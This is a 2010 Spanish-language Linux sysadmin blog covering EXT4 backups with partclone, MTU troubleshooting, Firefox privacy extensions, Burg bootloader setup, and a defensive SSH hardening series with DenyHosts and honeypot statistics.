20 jul 2010

Copias de seguridad en EXT4

Una vez actualizado el sistema de EXT3 a EXT4 me encuentro que tengo que hacer cambios a mi sistema de copias de seguridad. Hasta el momento venía utilizando partimage para hacer la copia de seguridad de mi sistema operativo; pero este no soporta de momento el sistema de ficheros EXT4. Partimage realiza una imagen completa de una partición siendo una de sus mayores ventajas que no copia los bloques vacíos redundando así en una mayor velocidad de copia y menor espacio utilizado para la imagen resultante.

Después de sopesar varias alternativas me decidí por partclone muy similar en su funcionamiento a partimage y con soporte para particiones en EXT4. Aunque partclone tiene un sistema de menús basados Ncurses que facilita su utilización, si vamos a hacer nuestras copias de seguridad periódicamente lo conveniente es preparar un pequeño script con todos los pasos a realizar.


Los pasos a seguir serían los siguientes:

  1. Iniciar desde una partición diferente a la que queremos hacer un backup, normalmente una livecd, pues si copiamos un sistema en uso podríamos tener inconsistencias en los ficheros escritos durante la ejecución del SO.
  2. Instalar partclone en el equipo, para ello tenemos varias opciones pero la más cómoda es agregar los respositorios a nuestro sistema y después instalar partclone mediante apt-get ejecutando como root:
    echo "#Repositorios partclone
    deb http://free.nchc.org.tw/drbl-core drbl stable
    deb-src http://free.nchc.org.tw/drbl-core drbl stable" >> /etc/apt/sources.list

    apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40009511D7E8DF3A

    apt-get update

    apt-get install partclone
  3. Conectar y montar el medio donde guardaremos el backup, lo ideal seria usar un disco duro externo, llave de memoria usb o un sistema remoto.
  4. Realizar el backup de nuestro sistema mediante partclone. Aunque partclone no soporta compresión de las imágenes es muy sencillo hacer esto utilizando pipes y gzip: partclone.ext4 -c -s /dev/disk/by-uuid/nuestro_uuid -d | gzip -c9 > /destino/backup.img.gz. Es muy aconsejable indicar la partición usando su UUID pues nos evitamos problemas con el cambio de rutas al conectar diferente hardware. Para obtener el UUID de una partición podemos usar blkid (ejemplo: blkid /dev/sda1).

Siguiendo estos pasos tendríamos lista una copia completa de nuestro sistema y en caso de cualquier problema podríamos restaurar nuestro sistema completamente con una orden como la siguiente zcat backup.img.gz | partclone.ext4 -r -o /dev/disk/by-uuid/nuestro_uuid.

Relacionado: Buenas prácticas garantizando la disponibilidad de un sistema en Security By Default

15 jul 2010

Desinformación sobre seguridad informática

Hoy ha aparecido en los medios de comunicación la siguiente noticia "Detenidos tres hackers por atacar las webs de PSOE, PP y el programa «Sálvame»", la noticia procede de la agencia EFE y EUROPA PRESS con contenidos casi idéntico que han sido extraídos del comunicado del la Guardia Civil.

En la noticia se denomina hackers a los detenidos, error tristemente muy frecuente que desvirtúa el origen del termino, en vez de usar alguno de los términos apropiados como cracker, script kiddie o incluso sería apropiado vándalo en castellano, aunque claro la noticia perdería mucho si cambiamos el titular a "Detenidos tres vándalos por atacar las webs de PSOE, PP y el programa «Sálvame»", entonces la gente podría hacerse una idea de lo que realmente sucede y ese no es el objetivo.

Posteriormente se indica que "La banda actuaba mediante la técnica denominada «Defacement»", donde está claro que se confunde el resultado de la acción con el proceso, como en la famosa anécdota sobre Cela. Si traducimos del inglés "defacement" significa desfiguración, lo que también es demasiado claro para el común de los mortales. Es obvio que no existe ninguna técnica denominada "defacement" sino que es el resultado de acceder al contenido de una web y modificarlo, pudiendo ser varias las técnicas empleada para el acceso (XSS, inyección SQL, fuerza bruta, ...).

Por último al final del artículo se explica que una vez que habían accedido a los servidores intentaban eliminar la huellas que habían dejado en los registros de las máquinas, esto que queda muy molón y que sale en todas las películas de Hollywood estaría muy bien si los detenidos no se dedicarán a desfigurar, firmar con sus alias y posteriormente publicarlo "en un conocido portal de Internet utilizado por hackers" como dice la noticia. Es más si hacemos un par de búsquedas en google por los nicks usados no tardamos mucho en encontrar las páginas de los sospechosos, así como comentarios en foros y perfiles de usuario. a destacar joyas como esta:


Resumiendo, traduciendo el artículo de forma medianamente legible tenemos que unos vándalos se dedicaban a desfigurar y robar información de paǵinas webs mal administradas o programadas, firmando sus actos y publicitándolos a través de internet en su afán de notoriedad. Está claro que esto no causa tanta alerta y no queda tan "cool" como la noticia publicada y si bien esto es algo que no me sorprende en absoluto viniendo de los medios de comunicación la Guardia Civil debería tener más cuidado con las notas de prensa que hace llegar a los medios.

Noticia en EUROPA PRESS.
Comunicado de la Guardi Civil.

PD: No incluyó los enlaces a las páginas web de los sospechosos o imágenes de las web desfiguradas para no publicitar este tipo de actos.

10 jul 2010

Apunte rápido - Pasar EXT3 a EXT4

Para pasar una partición en EXT3 a EXT4 lo primero es desmontar la partición que queremos convertir. Si queremos cambiar el tipo del sistema de ficheros de nuestro directorio raíz lo más cómodo sería arrancar desde una versión "live" de nuestra distribución. El comando para convertir la partición es:


tune2fs -O extents,uninit_bg,dir_index /dev/partición
Después es necesario pasarle un fsck a la partición, está nos dará "checksum errors in the group descriptors" que es lo esperado y aceptaremos que los corrija fsck.

fsck -f /dev/partición


Por último solo nos queda modificar nuestro fichero /etc/fstab cambiando ext3 por ext4 y sí hemos cambiado la partición donde se encuentra /boot añadir rootfs=ext4 a /boot/grub/menu.lst.

Visto en Ubuntu Life
Lista de mejoras en EXT4 D'Oh!

5 jul 2010

A vueltas con el MTU

Después de que mi router ADSL se muriera tuve que comprar uno nuevo, a partir de ahí lo típico: visita a la web del operador de telefonía para consultar la configuración del ADSL, configurar el router, probar la conexión, revisar la configuración, volver a probar la conexión y finalmente mirar con una mezcla de incredulidad y satisfacción la luz de conexión encendida. Una vez que que el router se enciende como un arbol de navidad empiezo a navegar por las webs de siempre. Google funciona perfectamente así que paso a Microsiervos ... pues parece que no va. Vuelvo a probar Google sigue funcionando correctamente, pruebo otra página nada, una tercera funciona bien; parece que pasa algo raro con la conexión. Pruebo a hacer un ping a una de las páginas que no funciona, el ping funciona correctamente. Confirmado pasa algo raro.


Después de un par de pruebas y consultas a Google paraece que el problema está en el MTU del router. El MTU es la Unidad Máxima de Transferencia, lo que viene a ser el paquete de datos más grande que puede recibir nuestra red, el problema consistía en que el MTU por defecto para PPoE (sobre el que funciona mi ADSL) es de 1492 bytes mientras que el de ETHERNET V2 es de 1500. Normalmente esto no resulta un problema pues los routers cuando los paquetes son demasiado grandes envían una respuesta ICMP a la máquina que realiza el envío para que esta use paquetes más pequeños; pero mi router nuevo simplemente descartaba los paquetes demasiado grandes por lo que algunas direcciones funcionaban y otras no (más información sobre Path MTU Discovery).

Para solucionar esto tenemos dos opciones cambiar el MTU en el router que sería la opción más cómoda si tenemos varias máquinas en nuestra red y tanto el router como nuestra conexión soportan el cambio o cambiar el MTU de nuestra máquina. Para cambiar el MTU de nuestra máquina en Ubuntu lo podemos probar primero con el comando ifconfig para asegurarnos de que todo funciona correctamente: ifconfig eth0 mtu 1492. Una vez que hemos comprobado que nuestra red funciona correctamente podemos hacer el cambio permanente modificando el fichero de configuración de la red en /etc/network/intefaces:

#Si nuestra interfaz es estática
iface eth0 inet static
                address 192.168.0.1
                network 192.168.0.0
                gateway 192.168.0.254
                netmask 255.255.255.0
                mtu 1492

#Si nuestra interfaz se configura con DHCP
auto eth1
                iface eth1 inet dhcp
                mtu 1492

12 jun 2010

Mejorar la seguridad y privacidad en Firefox

A la hora de hacer uso de internet nuestra principal herramienta es el navegador y como toda herramienta a la hora de mantener nuestra seguridad es esencial una buena configuración y puesta a punto. Si le dedicamos unos pocos minutos a nuestro navegador podemos aumentar nuestra seguridad y privacidad a la hora de navegar, aunque ninguna de estas acciones pueden substituir al sentido común cuando nos encontramos con algún posible peligro. Por ello vamos a ver una serie de consejos y extensiones que nos ayudarán en nuestro objetivo de mejorar la seguridad y privacidad en Firefox:

  • Mantener el navegador actualizado: es necesario actualizar el navegador cuando surjan nuevas actualizaciones de seguridad.
  • Usar constraseña maestra: aunque la opción de guardar nuestras contraseñas es una de las opciones más cómodas a la hora de navegar, también constituye un gran problema de seguridad si nos dejamos la sesión abierta de forma que algún sujeto malintencionado pueda acceder a nuestro equipo. Para evitar un acceso completo a todas las contraseñas guardadas en Firefox es muy aconsejable activar la contraseña maestra en Editar > Preferencias > Seguridad. Al activar esta opción cada vez que accedamos a las contraseñas almacenadas se nos pedirá esta clave para poder acceder a ellas.
    También es recomendable marcar el resto de opciones de seguridad : advertir al instalar complementos, bloquear sitios atacantes y bloquear sitios falsificados.
  • Mantener los plugins actualizados: es imprescindible actualizar cuando sea necesario los plugins de Firefox pues algunos, como el plugin de Flash, son verdaderos dolores de cabeza en cuanto a la aparición de fallos de seguridad. Podemos comprobar el estado de nuestros plugins en la página Plugin Check de Mozilla, accediendo desde el enlace o bien Herramientas > Complementos > Plugins > Buscar Actualizaciones.
  • NoScript: NoScritp bloquea JavaScript, Java y otros plugins en los sitios que no hallamos agregado a la lista blanca de la extensión y también nos protege contra ataques XSS. Aunque resulte un poco pesado de usar al principio, esta extensión supone una gran mejora en nuestra seguridad, el esfuerzo merece la pena.

  • BetterPrivacy: BetterPrivacy elimina las cookies que utiliza flash, una especie de super-cookies que no expiran, sin límite de tamaño y que no son borradas con el resto de cookies por el navegador.
  • FFHardener: esta aplicación fortifica la configuración de Firefox en tres aspectos:
    1. Fuerza el uso de algoritmos criptográficos más fuertes.
    2. Deshabilita capacidades de JavaScritp potencialmente peligrosas.
    3. Elimina el historial y el caché web.
    Aquí está la página del proyecto y tenéis más información en la muy recomendable página de Security By Default.
  • Locationbar: Locationbar destaca la parte del dominio en las url en la barra de direcciones, facilitando así la identificación de ataques por spoofing o suplantación.

  • Ghostery: Ghostery nos informa de los sitios que se dedican a registrar nuestra navegación en internet, permitiéndonos bloquearlos. Si lo usamos junto a Noscript debemos tener en cuenta que es muy posible que se solapen pues una de estas extensiones podría bloquear el contenido permitido en la otra.

  • [Actualización 18-06-10] Https-everywhere: Https-everywhere es un proyecto conjunto de la Electronic Frontier Foundation y de The Tor Project, la extensión nos redirige a los servicios HTTPS de las páginas web con este servicio disponible. Evitando de esta forma la posible intercepción de nuestros datos. También es posible crear nuestras propias reglas como se explica en la página del proyecto.

9 jun 2010

Como arreglar un conector RJ45 roto

Vía Hackaday encontré este ingenioso hack para reparar un conector RJ45 (conector para cable ethernet) al que se le ha roto la pestaña, usando una presilla y un cúter.

Este truco es una gran avance para poder reparar el típico cable de red que no hace más que soltarse del ordenador sin tener que recurrir a cortar y volver a crimpar. He de confesar que este manual me habría salvado el día en más de una ocasión.

Aquí tenéis el enlace al manual creado por laxap, un digno sucesor de MacGyver.

6 jun 2010

Instalar Burg en Ubuntu 10.04

Burg es un nuevo gestor de arranque basado en Grub. Sus principales ventajas son su aspecto gráfico, muy mejorado con respecto a grub2 y un sistema de menús y temas muy potente, siendo más sencillo de configurar que grub2. Personalmente encuentro la configuración de grub2 bastante caótica en cuanto a fondos y aspecto, por lo que burg me parece un gran avance en este sentido.



Para instalar burg en Ubuntu 10.04 debemos seguir los siguientes pasos:

  1. Agegar el repositorio de burg a nuestra lista de repositorios:
    sudo add-apt-repository ppa:bean123ch/burg
  2. Actualizar la lista de repositorios:
    sudo apt-get update
  3. Instalar el paquete burg:
    sudo apt-get install burg
  4. Configurar el paquete: nos aparecerá una serie de pantallas para establecer la configuración de burg.
    • La primera nos pregunta por las opciones predefinidas para los kernel, por defecto no contiene nada.
    • La segunda pantalla nos pregunta por los parámetros para lanzar los kernels. Por defecto es quiet splash aunque si tienes un portátil, como es mi caso, puede ser necesario agregar la opción acpi_osi=Linux para que funcionen las teclas de función.
    • La cuarta pantalla nos pregunta donde se instalará el gestor de arranque, por defecto en el MBR del primer disco /dev/sda.
  5. Actualizar burg:
    sudo update-burg

Para cambiar la configuración de burg editamos el fichero /etc/default/burg. Las opciones más interesantes son GRUB_GFXMODE que nos permite establecer la resolución en el formato ANCHOxALTOxBITS_COLOR, pudiendo establecer varias separadas para que en el caso que fallará una poder cargar la siguiente, por ejemplo GRUB_GFXMODE=1024x600x32,1024x600x24,800x600x32,800x600x24. [Actualización: en las últimas versiones si establecemos el valor de GRUB_GFXMODE a SAVED se almacenará la última resolución establecida desde el menú con la tecla r, gracias a Jose Maria por la información]. Durante el arranque presionando 'c' en el menú de burg y ejecutando el comando vbeinfo podemos ver las resoluciones que soporta nuestro ordenador en modo VBE. Otra opción interesante es GRUB_DISABLE_LINUX_RECOVERY="true" que nos permite ocultar el modo recuperación para los kernels. Podemos controlar el acceso de diferentes usuarios al menú de arranque con los comandos burg-adduser y la opción GRUB_USERS del fichero de configuración, como podemos ver en el wiki del proyecto.

Mi archivo de configuración es este:

# If you change this file, run 'update-burg' afterwards to update
# /boot/burg/burg.cfg.

GRUB_DEFAULT=0
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash acpi_osi=Linux"
GRUB_CMDLINE_LINUX=""

# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console

# The resolution used on graphical terminal
# note that you can use only modes which your graphic card supports via VBE
# you can see them in real GRUB with the command `vbeinfo'
# In the boot menu, use hotkey 'r' to popup a resolution selection menu.
GRUB_GFXMODE=saved

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
#GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entries
#GRUB_DISABLE_LINUX_RECOVERY="true"

# Uncomment to get a beep at grub start
#GRUB_INIT_TUNE="480 440 1"

# Use the previous selected theme, you can also specify a theme to be used
# In the boot menu, use hotkey 't' to popup a theme selection menu
GRUB_THEME=saved

# Use the previous folding option, its value can be 'yes', 'no' or 'saved'
# In the boot menu, use hotkey 'F7' to show the full list, 'f' to toggle
# between folding modes.
GRUB_FOLD=saved

# Add user with burg-adduser, then use GRUB_USERS to config authentication.
# The following example means user1 can boot Ubuntu, no password is needed to
# boot Windows, user1 amd user2 can boot other OS. Superusers can boot any OS
# and use hotkeys like `c' to enter console mode.
#GRUB_USERS="*=user1,user2:ubuntu=user1:windows="

Una vez configurado burg y actualizado con el comando update-burg podemos ver el resultado ejecutando burg-emu que simula el resultado final. Pulsando la tecla T podemos cambiar el tema usado en burg, aquí la lista de temas del proyecto con capturas de pantalla. Para salir del menú podemos pulsar C y teclear 'exit'.

Chuleta de teclas rápidas para burg:

  • e - edita el comando actual
  • t - lista de temas disponibles
  • c - abre una ventana de terminal (desde la termnial podemos teclear help para ver todos los comandos)
  • r - cambia la resolución
  • F5 - mapeado a ctrl-x, finaliza la edición y guarda el resultado
  • F8 - cambia entre modo text y modo gráfico
  • F9 - apagado
  • F10 - reinicio
  • ESC - sale de la ventana emergente

Para instalar nuevos temas tan solo tenemos que copiar la carpeta del nuevo tema a la carpeta /boot/burg/themes/ y actualizar burg con update-burg. En esta página hay algunos bastante buenos aunque en italiano; pero una de las ventajas del software libre es que los podemos modificar o traducir a nuestro gusto. [Actualización: más temas para burg aquí, gracias a Ingalex por el apunte.]

Si por algún motivo no nos convence burg y queremos volver a grub debemos desinstalar burg con sudo apt-get remove burg y después reinstalar grub con sudo grub-install /dev/sda (ejemplo para instalarlo en el MBR del primer disco) y actualizar grub con sudo update-grub.

Más documentación sobre burg.


Actualización 10/07/10: con la instalación del nuevo kernel 2.6.32-22 me he encontrado que al instalarse este, el menú de burg no se actualizaba automáticamente añadiendo el kernel. Para solucionar este pequeño problema y no tener que ejecutar update-burg manualmente después de cada actualización hay que modificar el fichero /etc/kernel-img.conf sustituyendo update-grub por update-burg quedando de esta forma el fichero:

do_symlinks = yes
relative_links = yes
do_bootloader = no
do_bootfloppy = no
do_initrd = yes
link_in_boot = no
postinst_hook = update-burg
postrm_hook = update-burg

Buscando información en la página del proyecto he encontrado que el bug ya ha sido reportado por lo que seguramente en las próximas versiones ya se modificará el fihero kernel-img.conf con la instalación de Burg.

5 jun 2010

Seguridad en SSH (3)

Ahora ya hemos configurado nuestro servidor SSH y estamos bastante seguros que un ataque por fuerza bruta no tendría éxito contra él. ¿Entonces ya no podemos hacer más que esperar y resistir a las hordas de malévolos atacantes que intentan acceder a nuestro equipo? Obviamente la respuesta es no y veremos como configurar nuestro sistema para tener una mejor defensa ante los atacantes que campan por la red.

Para aumentar nuestro nivel de seguridad vamos usar DenyHosts, un script escrito en Python que se encarga de revisar nuestro log buscando atacantes y añade estos al fichero /etc/hosts.deny. Este fichero no es más que una lista negra con la dirección de las máquinas a las que se ha bloqueado el acceso al sistema. Con lo que una vez identificados los atacantes, y añadidos a la lista negra, evitamos que estos puedan intentar conectarse de nuevo a nuestro sistema.



Para instalar denyhosts basta con ejecutar desde la consola sudo apt-get install denyhosts pues el programa ya se encuentra en los repositorios de Ubuntu. Una vez instalado pasamos a configurarlo editando el fichero /etc/denyhosts.conf. Veamos como siempre las opciones más interesantes:

  • SECURE_LOG = /var/log/auth.log : ruta del fichero de log donde se almacena la información del servidor SSH. Como vimos en otro artículo esta ruta en Ubuntu por defecto es /var/log/auth.
  • HOSTS_DENY = /etc/hosts.deny: ruta del fichero hosts.deny.
  • PURGE_DENY =: periodo de tiempo tras el cual se eliminarán las IPs baneadas del fichero hosts.deny. Si no establecemos ningún valor esta limpieza no se producirá nunca. Si queremos establecer un periodo especificaremos un numero seguido de una letra para indicar el tipo ('m' minutos,'h' horas,'d' días,'w' semanas e 'y' años), por ejemplo cinco días 5d.
  • PURGE_THRESHOLD = 0: número de veces que una IP puede ser eliminada de la lista negra, si se supera el número establecido esta no sera eliminada aunque se cumpla el periodo de PURGE_DENY. El valor 0 desactiva esta opción.
  • BLOCK_SERVICE = sshd: servicio bloqueados al atacante. En el fichero hosts.deny es posible bloquear solo ciertos servicios a las máquinas baneadas por lo que si usamos la opción sshd se bloqueara solo el acceso al servidor SSH. Para bloquear todos los servicios usaremos la opción ALL.
  • DENY_THRESHOLD_INVALID = 5 : número de intentos fallidos para nombres de usuario no válidos (usuarios que no existen en nuestra máquina) tras lo cual se baneará la IP.
  • DENY_THRESHOLD_VALID = 510: número de intentos fallidos para nombres de usuario válidos (usuarios que existen en nuestra máquina excepto el usuario root) tras lo cual se baneará la IP.
  • DENY_THRESHOLD_RESTRICTED = 1 : número de intentos fallidos para nombres de usuario restringidos (usuarios definidos en el fichero WORK_DIR/restricted-usernames) tras lo cual se baneará la IP.
  • WORK_DIR = /var/lib/denyhosts: ruta donde se guardan los fichero del programa.
  • SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES: indica si se informará de la actividad sospechosa de las máquinas en el fichero hosts.allow (del resto siempre se informa). El fichero hosts.allow es una lista blanca con las máquinas que tienen el acceso permitido a nuestra máquina.
  • ADMIN_EMAIL = root@localhost
    SMTP_HOST = localhost
    SMTP_PORT = 25
    : si queremos que el programa nos envíe los informes a nuestra cuenta de correo debemos configurar estas opciones con nuestra dirección y un servidor SMTP válido.
  • PLUGIN_DENY=/usr/bin/true: apunta a un programa que será ejecutado cada vez que se bloquee el acceso a una máquina, pasándole como argumento la IP de esta. Esta opción puede resultar interesante para jugar con Iptables y un par de scripts, por ejemplo podríamos redirigir los atacantes a un honeypot.
  • DAEMON_LOG = /var/log/denyhosts: ubicación del fichero de log donde se guardará la información de Denyhosts.
  • SYNC_SERVER = http://xmlrpc.denyhosts.net:9911: podemos permitir que Denyhosts sincronice sus datos con los del servidor de la aplicación, consiguiendo así una lista mucho más completa.
  • SYNC_UPLOAD = yes: permite que nuestra máquina envíe los hosts baneados al servidor de Denyhosts.
  • AGE_RESET_VALID=5d: establece el periodo de tiempo tras el cual se reiniciará el contador de intentos para los usuarios validos. El resto de opciones AGE_RESET_* son similares para los otros tipos de usuarios.

Una vez configurado Denyhosts procederemos a reiniciar el servicio para aplicar los cambios realizados con la orden sudo /etc/init.d/denyhosts restart

Una de las opciones más interesantes de Denyhosts para jugar con ella es la opción PLUGIN_DENY. Usando esta opción y un script resulta muy fácil redirigir a nuestros atacantes a otro puerto o a otra máquina con un honeypot. Un sencillo script como este sería suficiente para ello:


#!/bin/bash
iptables -t nat -A PREROUTING -s $1 -p tcp --dport 22 -j REDIRECT --to-port 60000

Si queremos que los atacantes no noten nuestro pequeño truco es necesario que la claves privada y pública en el honeypot sean la misma que en nuestro servidor SSH. En caso contrario el cliente SSH detectará que el servidor SSH ha cambiado y alertaría al usuario de un posible ataque de MITM (man in the middle).

27 may 2010

Seguridad en SSH (2)

Después de ver en el artículo anterior los peligros a los que estamos expuestos si tenemos nuestro servidor SSH mal configurado, veamos como configurarlo de manera segura.
Para acceder a la configuración del servidor SSH accedemos a la carpeta /etc/ssh/ donde se encuentra en el fichero sshd_config. Veamos un ejemplo de su contenido:



# Package generated configuration file
# See the sshd(8) manpage for details

# What ports, IPs and protocols we listen for
Port 60000
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin no
StrictModes yes
AllowUsers mrproper
MaxStartups 3

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive no
ServerAliveInterval 60
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

UsePAM yes

A continuación veremos las principales opciones de seguridad. Para ver el resto de las opciones puedes recurrir a la extensa información de man sobre ssh (man sshd_config y man sshd). Es aconsejable tener claro como funciona la criptografía asimétrica (o de llave pública) para entender las opciones relacionadas con este tema.

  • Port 22: Establece el puerto en el que escucha el servidor SSH, por defecto se usa el puerto 22. No es aconsejable usar el puerto por defecto pues si usamos este puerto nos arriesgamos a ser blanco de múltiples ataques. El cambio del puerto utilizado nos ahorrará un montón de problemas siendo recomendable usar un puerto en el rango de los puertos privados. Puedes consultar el rango de estos puertos en el fichero /proc/sys/net/ipv4/ip_local_port_range, en Ubuntu 8.04 el rango es 32768 - 61000.
  • ListenAddress 0.0.0.0: Establece la IP en la cual escuchara el servicio, muy importante si queremos dar servicio solamente en nuestra red local; pues nos evitará ataques desde otras redes como internet. Si lo dejamos a 0.0.0.0 el servidor escuchara en todas las ips de la máquina.
  • Protocol 2: Estable el protocolo a usar, es recomendable usar el protocolo 2 pues incluye numerosas mejoras en cuanto a seguridad.
  • HostKey /etc/ssh/ssh_host_rsa_key

    HostKey /etc/ssh/ssh_host_dsa_key


    Ubicación de las claves privadas usadas por el servidor. Es importante controlar el acceso a estas claves pues son usadas para establecer la identidad del servidor y descifrar los mensajes recibidos, por lo que si cayeran en manos de un atacante este podría descifrar el tráfico capturado o suplantar la identidad de nuestro servidor.
  • Clave Pública
  • UsePrivilegeSeparation yes: Si lo establecemos a sí (opción muy recomendada) el servicio se ejecutará con unos privilegios mínimos creando un nuevo hilo con los privilegios propios del usuario una vez autentificado. El objetivo es evitar un escalado de privilegios, por ejemplo por medio del uso de exploits.
  • KeyRegenerationInterval 3600
    ServerKeyBits 768

    Tiempo de vida de la clave del servidor y longitud de la misma, se usa sólo para el protocolo versión 1, es preferible usar el protocolo versión 2.
  • SyslogFacility AUTH: establece que clave de syslog se usará para guardar los logs, podemos ver la configuración de syslog en /etc/syslog.conf. La clave AUTH guarda los mensajes en el fichero /var/log/auth.log. Para ver estos mensajes podemos hacerlos usando cat y filtrando con grep "cat /var/log/auth.log | grep sshd".
  • LogLevel INFO: establece el nivel de información que se guardara en el log, de menos información a más los niveles son: SILENT, QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG, DEBUG1, DEBUG2, y DEBUG3.
  • LoginGraceTime 120: tiempo en segundos antes de desconectar un usuario conectado pero no autentificado (usuario en el proceso de login).
  • PermitRootLogin no: indica como puede loguearse el super usuario. Las opciones son:
    • “yes” puede loguearse como el resto de usuarios.
    • “without-password” sólo puede loguerase mediante clave pública.
    • “forced-commands-only” permite login con clave pública; pero limitando su uso al lanzamiento de comandos establecidos con la opción "command" de sshd.
    • “no” el usuario root no puede loguearse
    Es preferible establecer esta opción a no y hacer uso de sudo para las tareas que necesiten permisos de root, pues como ya vimos la cuenta de root es una de las que más ataques sufre.
  • StrictModes yes: comprueba que los ficheros de claves de ssh del usuario no sean accesible para otros usuarios de la máquina con lo cual podrían descifrar el tráfico de este.
  • ServerAliveInterval 60: intervalo en segundos en el cual se comprobará periódicamente si el usuario sigue conectado. Este mensaje se envía a través del canal cifrado al contrario que la opción TCPKeepAlive. Lo recomendable es activar ServerAliveInterval y establecer TCPKeepAlive no.
  • AllowUsers usuario1 usuario2 usuario3: lista con los usuarios que pueden acceder vía SSH. Esta opción es una de las más importantes porque nos permite establecer con seguridad que usuarios pueden hacer uso del SSH. Evitando así problemas al instalar servicios que agregan sus propios usuarios, pues estos usuarios son los primeros que un atacante intentaría usar.
  • MaxStartups 1: número máximo de usuarios no autentificados conectados al servidor. Útil a la hora de evitar un consumo excesivo de recursos ante un ataque.
  • PubkeyAuthentication yes: Habilita la autentificación mediante clave pública
  • AuthorizedKeysFile %h/.ssh/authorized_keys: establece la ubicación de las clave públicas de los usuarios (%h hace referencia al directorio home).
  • IgnoreRhosts yes
    HostbasedAuthentication no
    Desabilita los ficheros .rhosts y .shosts de los usuarios. Estos ficheros permiten la conexión remota a otras máquinas sin emplear contraseña.
  • PermitEmptyPasswords no: permite el acceso a usuarios sin clave. Permitir el acceso a estos usuarios es un suicidio, salvo casos muy concretos, desde el punto de vista de la seguridad.
  • PasswordAuthentication yes: establece si se puede realizar el login mediante nombre y contraseña. Es mucho más seguro el uso de claves públicas; pero esto obliga al usuario a tener el archivo de la clave a mano a la hora de acceder al SSH. Si establecemos esta opción a sí es muy importante el uso de claves seguras para todos los usuarios del sistema, evitando así el éxito de los ataques por fuerza bruta.
  • X11Forwarding yes: permite abrir programas en modo gráfico de forma remota. Esto puede plantear algunos problemas de seguridad en el equipo local si el servidor ha sido comprometido. Si un atacante pudiera leer el fichero .Xauthority tendría acceso completo a nuestro escritorio (más información aquí y aquí).
  • AcceptEnv LANG LC_*: Establece que variables de nuestro cliente de SSH serán pasadas al servidor. Algunas variables pueden ser usadas para saltarse restriccines impuestas en el servidor. La configuración por defecto acepta las variables de lenguaje y regionales.
  • MaxAuthTries 6: Establece el número máximo de intentos de autentificación por conexión. Si se alcanza la mitad de este valor los intentos serán escritos al fichero de log.

Es una buena práctica revisar de vez en cuando el fichero de log del servidor para asegurarse que todo marcha bien. Con la orden sudo cat /var/log/auth.log | grep sshd podemos ver la información generada por el demonio sshd y también es interesante revisar los intentos de autentificación inválidos usando sudo cat /var/log/auth.log | grep sshd | grep Fail.

26 may 2010

Seguridad en SSH (1)

Mi programa favorito es sin duda OpenSSH. Te permite abrir una terminal de forma remota, abrir aplicaciones en modo gráfico, crear túneles entre máquinas, redirigir puertos, transferir ficheros, ... y todo ellos de forma segura encriptando el tráfico entre los extremos. OpenSSH goza de un tremendo éxito y se estima que en el 2000 ya lo usaban dos millones de usuarios (fuente); pero esto tiene su lado malo y es que lo hace un blanco muy apetitoso para los atacantes. Existen multitud de máquinas que se dedican a escanear la red buscando equipos con servidores SSH accesibles y a lanzar ataques contra ellos.



OpenSSH inicio su andadura en 1999 y es un desarrollo maduro con muy pocos fallos, aunque inevitablemente surge alguno de vez en cuando; por este motivo la mayoría de los ataques se basan en el uso de fuerza bruta mediante programas como medusa que se dedican a probar un diccionario de nombres de usuario y claves contra una máquina. Para evitar que nuestra máquina se vea comprometida es esencial tener el sistema operativo actualizado y sobre todo una buena configuración del servicio SSH, la cual veremos en otra entrada porque primero nos centraremos en los ataques que podemos sufrir por SSH si tenemos una máquina accesible desde internet.

Para hacernos una idea de los que nos podría pasar si no configuramos adecuadamente nuestro servidor SSH veremos algunos datos que he recolectado en mi máquina utilizando kojoney, un ligero honeypot, escrito en Python, que simula un servidor SSH. Los datos fueron recolectados usando kojoney en el puerto 22 (por defecto) abierto a internet. El periodo de los datos abarca de 03/11/2009 a 25/05/2010 (203 días).

  • Número de conexiones: 26567 (130 conexiones por día), de las cuales 2168 consiguieron autentificarse en el honeypot
  • Nombres de usuario más usados:
    14510 root
    448 test
    315 nagios
    311 oracle
    263 admin
    163 postgres
    144 user
    144 operator
    121 web
    120 ts
    112 guest
    108 teste
    106 zabbix
    99 ftp
    96 backup
    91 office
    76 ftpguest
    66 test1
    60 mysql
    59 webmaster
    55 ftpuser
    54 teamspeak
    50 testuser
    47 master
    46 upload
    43 soporte
    42 usuario
    40 zenoss
    39 shoutcast
    38 temp
    38 svn
  • Diferentes IP atacantes: 428
  • Numero de atacantes por país:

